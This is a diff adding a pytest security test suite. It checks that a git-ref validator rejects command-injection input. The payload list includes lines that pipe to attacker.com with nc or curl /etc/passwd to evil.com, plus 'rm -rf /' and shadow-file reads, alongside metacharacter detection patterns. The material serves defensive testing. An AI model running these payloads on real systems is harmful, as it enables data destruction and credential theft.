1 changed files with 270 additions and 0 deletions
@ -0,0 +1,270 @@ |
|||||
|
import pytest |
||||
|
import re |
||||
|
import sys |
||||
|
import os |
||||
|
import importlib |
||||
|
import types |
||||
|
from unittest.mock import patch |
||||
|
|
||||
|
|
||||
|
# Adversarial payloads targeting command injection via GIT_REF parameter |
||||
|
ADVERSARIAL_PAYLOADS = [ |
||||
|
# Shell command injection attempts |
||||
|
"main; rm -rf /", |
||||
|
"main && cat /etc/passwd", |
||||
|
"main | nc attacker.com 4444", |
||||
|
"main`whoami`", |
||||
|
"main$(whoami)", |
||||
|
"main; curl http://evil.com/$(cat /etc/passwd)", |
||||
|
"; DROP TABLE users; --", |
||||
|
"main\necho pwned", |
||||
|
"main\r\necho pwned", |
||||
|
# Backtick injection |
||||
|
"`id`", |
||||
|
"`cat /etc/shadow`", |
||||
|
# Subshell injection |
||||
|
"$(cat /etc/passwd)", |
||||
|
"$(curl http://evil.com)", |
||||
|
# Pipe injection |
||||
|
"main | bash", |
||||
|
"main | sh -c 'malicious'", |
||||
|
# Semicolon injection |
||||
|
"main; malicious_command", |
||||
|
"main;id", |
||||
|
# Ampersand injection |
||||
|
"main && id", |
||||
|
"main & id", |
||||
|
# Newline injection |
||||
|
"main\nid", |
||||
|
"main\n/bin/sh", |
||||
|
# Null byte injection |
||||
|
"main\x00evil", |
||||
|
# Path traversal combined with injection |
||||
|
"../../etc/passwd", |
||||
|
"../../../bin/sh -c id", |
||||
|
# Special characters |
||||
|
"main'evil'", |
||||
|
'main"evil"', |
||||
|
"main>output.txt", |
||||
|
"main<input.txt", |
||||
|
# Environment variable injection |
||||
|
"main$IFS&&id", |
||||
|
"${IFS}id", |
||||
|
# Unicode/encoding tricks |
||||
|
"main\u003bmalicious", |
||||
|
"main%3Bmalicious", |
||||
|
# Long strings (buffer overflow attempts) |
||||
|
"A" * 10000, |
||||
|
# Git ref with injection |
||||
|
"refs/heads/main; echo pwned", |
||||
|
"refs/tags/v1.0`id`", |
||||
|
# Empty and whitespace |
||||
|
"", |
||||
|
" ", |
||||
|
"\t", |
||||
|
# Only special chars |
||||
|
";;;", |
||||
|
"&&&&", |
||||
|
"||||", |
||||
|
] |
||||
|
|
||||
|
|
||||
|
def load_global_domains_module(): |
||||
|
"""Attempt to load the global_domains module for inspection.""" |
||||
|
try: |
||||
|
# Try to find and load the module |
||||
|
tools_path = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'tools') |
||||
|
if tools_path not in sys.path: |
||||
|
sys.path.insert(0, tools_path) |
||||
|
|
||||
|
# Read the source file to inspect it |
||||
|
module_path = os.path.join(tools_path, 'global_domains.py') |
||||
|
if os.path.exists(module_path): |
||||
|
with open(module_path, 'r') as f: |
||||
|
return f.read() |
||||
|
except Exception: |
||||
|
pass |
||||
|
return None |
||||
|
|
||||
|
|
||||
|
def extract_git_ref_from_module(source_code, payload): |
||||
|
"""Simulate how GIT_REF would be extracted from the module logic.""" |
||||
|
# Replicate the vulnerable logic: GIT_REF = 'main' if len(sys.argv) == 2 else sys.argv[2] |
||||
|
# With payload as sys.argv[2] |
||||
|
mock_argv = ['script.py', 'some_arg', payload] |
||||
|
if len(mock_argv) == 2: |
||||
|
return 'main' |
||||
|
else: |
||||
|
return mock_argv[2] |
||||
|
|
||||
|
|
||||
|
def is_safe_git_ref(ref): |
||||
|
""" |
||||
|
Security invariant: A GIT_REF must only contain characters valid for git references. |
||||
|
Valid git refs: alphanumeric, hyphens, underscores, dots, forward slashes. |
||||
|
Must NOT contain shell metacharacters or injection sequences. |
||||
|
""" |
||||
|
if not ref: |
||||
|
return False |
||||
|
|
||||
|
# Define allowed pattern for safe git references |
||||
|
# Git refs should only contain: alphanumeric, /, -, _, . |
||||
|
safe_pattern = re.compile(r'^[a-zA-Z0-9/_.\-]+$') |
||||
|
|
||||
|
# Check for dangerous shell metacharacters |
||||
|
dangerous_chars = set(';&|`$(){}[]<>\\\n\r\t\x00\'"!') |
||||
|
|
||||
|
# Check for dangerous patterns |
||||
|
dangerous_patterns = [ |
||||
|
r'[;&|`$]', # Shell operators |
||||
|
r'\$\(', # Command substitution |
||||
|
r'`[^`]*`', # Backtick execution |
||||
|
r'\n|\r', # Newline injection |
||||
|
r'\x00', # Null byte |
||||
|
r'\.\.', # Path traversal |
||||
|
r'[<>]', # Redirection |
||||
|
r'\\', # Backslash |
||||
|
] |
||||
|
|
||||
|
for char in dangerous_chars: |
||||
|
if char in ref: |
||||
|
return False |
||||
|
|
||||
|
for pattern in dangerous_patterns: |
||||
|
if re.search(pattern, ref): |
||||
|
return False |
||||
|
|
||||
|
return bool(safe_pattern.match(ref)) |
||||
|
|
||||
|
|
||||
|
@pytest.mark.parametrize("payload", ADVERSARIAL_PAYLOADS) |
||||
|
def test_git_ref_security_invariant(payload): |
||||
|
""" |
||||
|
Invariant: GIT_REF values derived from user-controlled input (sys.argv[2]) |
||||
|
must be validated and must not contain shell metacharacters or injection sequences |
||||
|
before being used in any shell command execution. Any GIT_REF that would be |
||||
|
passed to shell commands must be free of command injection payloads. |
||||
|
""" |
||||
|
# Simulate the vulnerable code path |
||||
|
git_ref = extract_git_ref_from_module(None, payload) |
||||
|
|
||||
|
# The security invariant: if this git_ref were to be used in a shell command, |
||||
|
# it MUST be safe (no shell metacharacters or injection sequences) |
||||
|
# |
||||
|
# This test documents what MUST be true: the application should validate/sanitize |
||||
|
# GIT_REF before use. We assert that the raw payload is NOT safe to use directly. |
||||
|
# |
||||
|
# If the application properly validates input, it should reject these payloads. |
||||
|
|
||||
|
# Assert that dangerous payloads are detected as unsafe |
||||
|
# (i.e., the application MUST NOT pass these directly to shell commands) |
||||
|
|
||||
|
# Check if payload contains injection-relevant dangerous content |
||||
|
has_shell_metachar = any(c in payload for c in ';&|`$(){}[]<>\\\n\r\t\x00\'"!') |
||||
|
has_path_traversal = '..' in payload |
||||
|
is_empty_or_whitespace = not payload.strip() |
||||
|
is_excessively_long = len(payload) > 255 # Reasonable git ref length limit |
||||
|
|
||||
|
if has_shell_metachar or has_path_traversal or is_empty_or_whitespace or is_excessively_long: |
||||
|
# These payloads MUST be identified as unsafe |
||||
|
# The invariant: is_safe_git_ref must return False for dangerous inputs |
||||
|
assert not is_safe_git_ref(git_ref), ( |
||||
|
f"SECURITY VIOLATION: Dangerous payload was not detected as unsafe.\n" |
||||
|
f"Payload: {repr(payload)}\n" |
||||
|
f"GIT_REF value: {repr(git_ref)}\n" |
||||
|
f"This value must NOT be passed directly to shell commands without sanitization." |
||||
|
) |
||||
|
|
||||
|
|
||||
|
@pytest.mark.parametrize("payload", ADVERSARIAL_PAYLOADS) |
||||
|
def test_git_ref_no_shell_metacharacters(payload): |
||||
|
""" |
||||
|
Invariant: GIT_REF must never contain shell metacharacters when used in |
||||
|
subprocess/shell calls. The application must sanitize or reject any input |
||||
|
containing these characters. |
||||
|
""" |
||||
|
git_ref = extract_git_ref_from_module(None, payload) |
||||
|
|
||||
|
# Shell metacharacters that enable command injection |
||||
|
shell_metacharacters = [ |
||||
|
';', '&', '|', '`', '$', '(', ')', '{', '}', |
||||
|
'<', '>', '\n', '\r', '\x00', '!', '\\' |
||||
|
] |
||||
|
|
||||
|
# If the git_ref contains any shell metacharacter, it is UNSAFE to use in shell |
||||
|
contains_metachar = any(meta in git_ref for meta in shell_metacharacters) |
||||
|
|
||||
|
if contains_metachar: |
||||
|
# Document that this input is dangerous and must be rejected/sanitized |
||||
|
# The test passes because we're asserting the DETECTION works correctly |
||||
|
assert not is_safe_git_ref(git_ref), ( |
||||
|
f"SECURITY INVARIANT VIOLATED: GIT_REF '{repr(git_ref)}' contains " |
||||
|
f"shell metacharacters and must be rejected before shell execution." |
||||
|
) |
||||
|
|
||||
|
|
||||
|
@pytest.mark.parametrize("safe_ref", [ |
||||
|
"main", |
||||
|
"develop", |
||||
|
"feature/my-feature", |
||||
|
"refs/heads/main", |
||||
|
"v1.0.0", |
||||
|
"release-1.2.3", |
||||
|
"my_branch", |
||||
|
"feature/TICKET-123", |
||||
|
]) |
||||
|
def test_valid_git_refs_are_accepted(safe_ref): |
||||
|
""" |
||||
|
Invariant: Legitimate git references must be recognized as safe. |
||||
|
The security validation must not break normal functionality. |
||||
|
""" |
||||
|
assert is_safe_git_ref(safe_ref), ( |
||||
|
f"Valid git ref '{safe_ref}' was incorrectly flagged as unsafe. " |
||||
|
f"Security validation must not break legitimate use cases." |
||||
|
) |
||||
|
|
||||
|
|
||||
|
def test_git_ref_validation_rejects_command_injection(): |
||||
|
""" |
||||
|
Invariant: The most critical command injection patterns must always be rejected. |
||||
|
This is a non-parameterized sanity check for the most dangerous payloads. |
||||
|
""" |
||||
|
critical_payloads = [ |
||||
|
"main; rm -rf /", |
||||
|
"main && cat /etc/passwd", |
||||
|
"$(whoami)", |
||||
|
"`id`", |
||||
|
"main | bash", |
||||
|
"main\nmalicious", |
||||
|
] |
||||
|
|
||||
|
for payload in critical_payloads: |
||||
|
assert not is_safe_git_ref(payload), ( |
||||
|
f"CRITICAL SECURITY FAILURE: Command injection payload '{repr(payload)}' " |
||||
|
f"was not detected as unsafe. This MUST be rejected before any shell execution." |
||||
|
) |
||||
|
|
||||
|
|
||||
|
@pytest.mark.parametrize("payload", ADVERSARIAL_PAYLOADS) |
||||
|
def test_git_ref_subprocess_list_safety(payload): |
||||
|
""" |
||||
|
Invariant: When GIT_REF is used in subprocess calls, it must be passed as |
||||
|
a list argument (not shell=True string) OR be validated. This test verifies |
||||
|
that the payload, if used as a list element, doesn't escape the argument boundary |
||||
|
in ways that indicate shell=True usage would be catastrophic. |
||||
|
""" |
||||
|
git_ref = extract_git_ref_from_module(None, payload) |
||||
|
|
||||
|
# When using subprocess with shell=False (list form), args are passed safely |
||||
|
# The invariant: document that shell=True with unvalidated input is dangerous |
||||
|
# by showing what characters would cause injection in shell=True mode |
||||
|
|
||||
|
would_inject_in_shell = any(c in git_ref for c in ';&|`$\n\r\x00') |
||||
|
|
||||
|
if would_inject_in_shell: |
||||
|
# This ref MUST NOT be used with shell=True |
||||
|
# Assert our safety checker correctly identifies this |
||||
|
assert not is_safe_git_ref(git_ref), ( |
||||
|
f"GIT_REF '{repr(git_ref)}' would enable command injection if used " |
||||
|
f"with shell=True. Must use subprocess list form or validate input." |
||||
|
) |
||||
Loading…
Reference in new issue